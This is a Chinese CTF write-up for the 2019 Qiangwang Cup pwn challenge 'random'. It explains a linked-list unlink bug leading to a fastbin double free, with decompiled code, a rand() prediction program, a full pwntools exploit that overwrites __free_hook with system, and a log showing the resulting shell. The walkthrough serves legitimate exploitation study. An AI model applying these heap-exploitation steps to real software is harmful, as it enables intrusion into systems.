强网杯2019 pwn random writeup

这题难点在于找到溢出点,找到溢出点之后就是正常的fastbin题目,靶机的glibc版本是2.23。

源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/random.zip

溢出点

下面所有的symbols都是我自己加的,具体情况还请看IDA分析文件。

关键在于global_ptr的解链操作是否正确。

run

void __fastcall run(int a1)
{
  func_container *ptr; // [rsp+10h] [rbp-20h]
  func_container *v2; // [rsp+18h] [rbp-18h]
  func_container *v3; // [rsp+20h] [rbp-10h]
  void (__fastcall *v4)(); // [rsp+28h] [rbp-8h]

  if ( global_ptr )
  {
    ptr = global_ptr;
    v3 = global_ptr;
    do
    {
      while ( ptr->type != a1 )
      {
        v3 = ptr;
        ptr = ptr->next;
        if ( !ptr )
          return;
      }
      v4 = ptr->func_ptr;
      if ( ptr == global_ptr )
      {
        global_ptr = ptr->next;
        v3 = global_ptr;
        v2 = global_ptr;
      }
      else
      {
        v3->next = ptr->next;
        v2 = ptr->next;
      }
      free(ptr);
      (v4)(ptr);
      ptr = v2;
    }
    while ( v2 );
  }
}

原本程序是可以正常解链,但是一旦在add函数中,选择了额外增加节点,那么解链就会出问题。

add

void __cdecl add()
{
  char v0; // ST06_1
  char v1; // ST07_1
  signed int i; // [rsp+8h] [rbp-8h]
  int v3; // [rsp+Ch] [rbp-4h]

  puts("Do you want to add note?(Y/N)");
  v0 = getchar();
  getchar();
  if ( v0 == 'Y' )
  {
    for ( i = 0; i <= 14; ++i )
    {
      if ( !notes[i].ptr )
      {
        puts("Input the size of the note:");
        v3 = get_int();
        if ( v3 > 0 && v3 <= 63 )
        {
          notes[i].size = v3;
          notes[i].ptr = malloc(v3 + 1);
          puts("Input the content of the note:");
          input(notes[i].ptr, notes[i].size);
          puts("success!");
          puts("Do you want to add another note, tomorrow?(Y/N)");
          v1 = getchar();
          getchar();
          if ( v1 == 'Y' )
            set_run_func(add, 2);
        }
        return;
      }
    }
  }
  else
  {
    --unk_2030E0;
  }
}

set_run_func

void __fastcall set_run_func(__int64 func_addr, int a2)
{
  func_container *new_; // rax

  new_ = calloc(1uLL, 24uLL);
  new_->type = a2;
  new_->func_ptr = func_addr;
  new_->next = global_ptr;
  global_ptr = new_;
}

建议:对于链表这种比较抽象的数据结构,画图是最适合的

画出图来之后,你就会发现add函数中,选择了额外增加节点,新节点直接插入global_ptr表头,因为程序是按照顺序存储来执行的,所以之后global_ptr指向的下一个节点,会一直保存在链表上,但是其实他已经被free了,所以我们可以利用double free来做该题。

思路

  1. 泄露程序基地址
  2. 预测rand
  3. double free
  4. 劫持notes指针数组
  5. 任意地址读写

泄露程序基地址

main函数中的泄露点,栈上还残留这基地址信息,可以泄露程序基地址。

puts("Please input your name:");
read(0, name, 24uLL);
v3 = strdup(name);
srand(unk_203178);
set_run_func(sub_11D6, 1);
printf("How many days do you want to play this game, %s?\n", v3);

对应脚本:

sh.recvuntil('Please input your name:\n')
sh.send('a' * 8)
sh.recvuntil('a' * 8)
result = sh.recvuntil('?\n')[:-2]

image_base_addr = u64(result.ljust(8, '\0')) - 0xb90
log.success('image_base_addr: ' + hex(image_base_addr))

预测rand

种子是固定的,所以每次的随机数都是可预测的 。

prediction.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    int i, temp;
    char *str[4] = {"add", "update", "delete", "view"};
    srand(0);
    for(i = 0; i < 50; i++)
    {
        temp = rand() % 4;
        printf("%3d : %3d %10s\n", i + 1, temp, str[temp]);
    }

    return 0;
}

执行效果:

ex@ubuntu:~/test$ gcc prediction.c -o prediction
ex@ubuntu:~/test$ ./prediction 
  1 :   3       view
  2 :   2     delete
  3 :   1     update
  4 :   3       view
  5 :   1     update
  6 :   3       view
  7 :   2     delete
  8 :   0        add
  9 :   1     update
 10 :   1     update
 11 :   2     delete
 12 :   3       view
 13 :   2     delete
 14 :   3       view
 15 :   3       view
 16 :   2     delete
 17 :   0        add
 18 :   2     delete
 19 :   0        add
 20 :   0        add
 21 :   3       view
 22 :   0        add
 23 :   3       view
 24 :   1     update
 25 :   2     delete
 26 :   2     delete
 27 :   2     delete
 28 :   3       view
 29 :   3       view
 30 :   3       view
 31 :   1     update
 32 :   2     delete
 33 :   2     delete
 34 :   2     delete
 35 :   1     update
 36 :   3       view
 37 :   1     update
 38 :   0        add
 39 :   3       view
 40 :   2     delete
 41 :   1     update
 42 :   1     update
 43 :   1     update
 44 :   3       view
 45 :   0        add
 46 :   1     update
 47 :   2     delete
 48 :   0        add
 49 :   3       view
 50 :   2     delete

double free

利用溢出点进行double Free。

# the first
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8')

add(17, 'bbbb\n', True) # index 0
do_not(7)

# the second : run out of fastbins
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('7') # 8
# double free
do_not(7 + 2)

劫持notes指针数组

notes_offset = 0x203180

# the third 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 15
do_not(1)

# the fourth 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('2') # 16
do_not(1)
add(17, '\n', False) # index 1

# the fifth 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 18
add(17, p64(image_base_addr + notes_offset + 0x30) + '\n', False) # index 2

# the sixth 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('5') # 19
do_not(2)
add(0x21, '\n', False) # index 3 : fake_chunk->size
do_not(1)
add(0x21, '\n', False) # index 4

# the eighth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8') # 24
do_not(8)

# the nineth : set size
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('6') # 32
add(0x21, '\n', False) # index 5 : fake_chunk's next_chunk->size
do_not(4)
delete(0)

由于程序在run函数之前是先free的,所以我们不仅要构造fake_chunk的size(为了绕过malloc的检查),还要构造next_chunk的size,以为了绕过free的检查。

任意地址读写

当你完成劫持notes指针数组之后,就相当于可以进行任意地址读写了,我是先读出puts.got来泄露libc基地址,然后直接把__free_hook改成system来拿shell。

# the tenth 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('10') # 38
add(17, '\0' * 8 + '\n', False) # index 0
do_not(1)
update(0, p64(image_base_addr + elf.got['puts']) + '\n')
do_not(1)
result = view(4)
libc_base_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_base_addr: ' + hex(libc_base_addr))

update(0, p64(libc_base_addr + libc.symbols['__free_hook']) + '\n')
update(4, p64(libc_base_addr + libc.symbols['system']) + '\n')
update(1, '/bin/sh\0\n')
delete(1)

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

# context.log_level = "debug"
sh = process('./random')
elf = ELF('./random')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# context.log_level = "debug"
context.arch = "amd64"

# Create a temporary file for GDB debugging
try:
    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

def add(size, content, another_note):
    sh.recvuntil('?(Y/N)\n')
    sh.sendline('Y')
    sh.recvuntil('Input the size of the note:\n')
    sh.sendline(str(size))
    sh.recvuntil('Input the content of the note:\n')
    sh.send(content)
    sh.recvuntil('Do you want to add another note, tomorrow?(Y/N)\n')
    if(another_note):
        sh.sendline('Y')
    else:
        sh.sendline('N')

def update(index, content):
    sh.recvuntil('?(Y/N)\n')
    sh.sendline('Y')
    sh.recvuntil('Input the index of the note:\n')
    sh.sendline(str(index))
    sh.recvuntil('Input the new content of the note:\n')
    sh.send(content)

def delete(index):
    sh.recvuntil('?(Y/N)\n')
    sh.sendline('Y')
    sh.recvuntil('Input the index of the note:\n')
    sh.sendline(str(index))

def view(index):
    sh.recvuntil('?(Y/N)\n')
    sh.sendline('Y')
    sh.recvuntil('Input the index of the note:\n')
    sh.sendline(str(index))
    result = sh.recvuntil('\n')
    return result[:-1]

def do_not(times):
    for i in range(int(times)):
        sh.recvuntil('?(Y/N)\n')
        sh.sendline('N')

# pause()
sh.recvuntil('Please input your name:\n')
sh.send('a' * 8)
sh.recvuntil('a' * 8)
result = sh.recvuntil('?\n')[:-2]

image_base_addr = u64(result.ljust(8, '\0')) - 0xb90
log.success('image_base_addr: ' + hex(image_base_addr))

# How many days do you want to play this game
sh.sendline('35')

# the first
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8')

add(17, 'bbbb\n', True) # index 0
do_not(7)

# the second : run out of fastbins
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('7') # 8
# double free
do_not(7 + 2)

notes_offset = 0x203180

# the third 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 15
do_not(1)

# the fourth 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('2') # 16
do_not(1)
add(17, '\n', False) # index 1

# the fifth 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 18
add(17, p64(image_base_addr + notes_offset + 0x30) + '\n', False) # index 2

# the sixth 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('5') # 19
do_not(2)
add(0x21, '\n', False) # index 3
do_not(1)
add(0x21, '\n', False) # index 4

# the eighth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8') # 24
do_not(8)

# the nineth : set size
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('6') # 32
add(0x21, '\n', False) # index 5
do_not(4)
delete(0)

# the tenth 
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('10') # 38
add(17, '\0' * 8 + '\n', False) # index 0
do_not(1)
update(0, p64(image_base_addr + elf.got['puts']) + '\n')
do_not(1)
result = view(4)
libc_base_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_base_addr: ' + hex(libc_base_addr))

update(0, p64(libc_base_addr + libc.symbols['__free_hook']) + '\n')
update(4, p64(libc_base_addr + libc.symbols['system']) + '\n')
update(1, '/bin/sh\0\n')
delete(1)

sh.interactive()

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './random': pid 3350
[*] '/home/ex/test/random'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] image_base_addr: 0x55afdedd2000
[+] libc_base_addr: 0x7f145f894000
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

总结

有些溢出点比较难以想象的时候,有时画图能更好的帮助我们理解。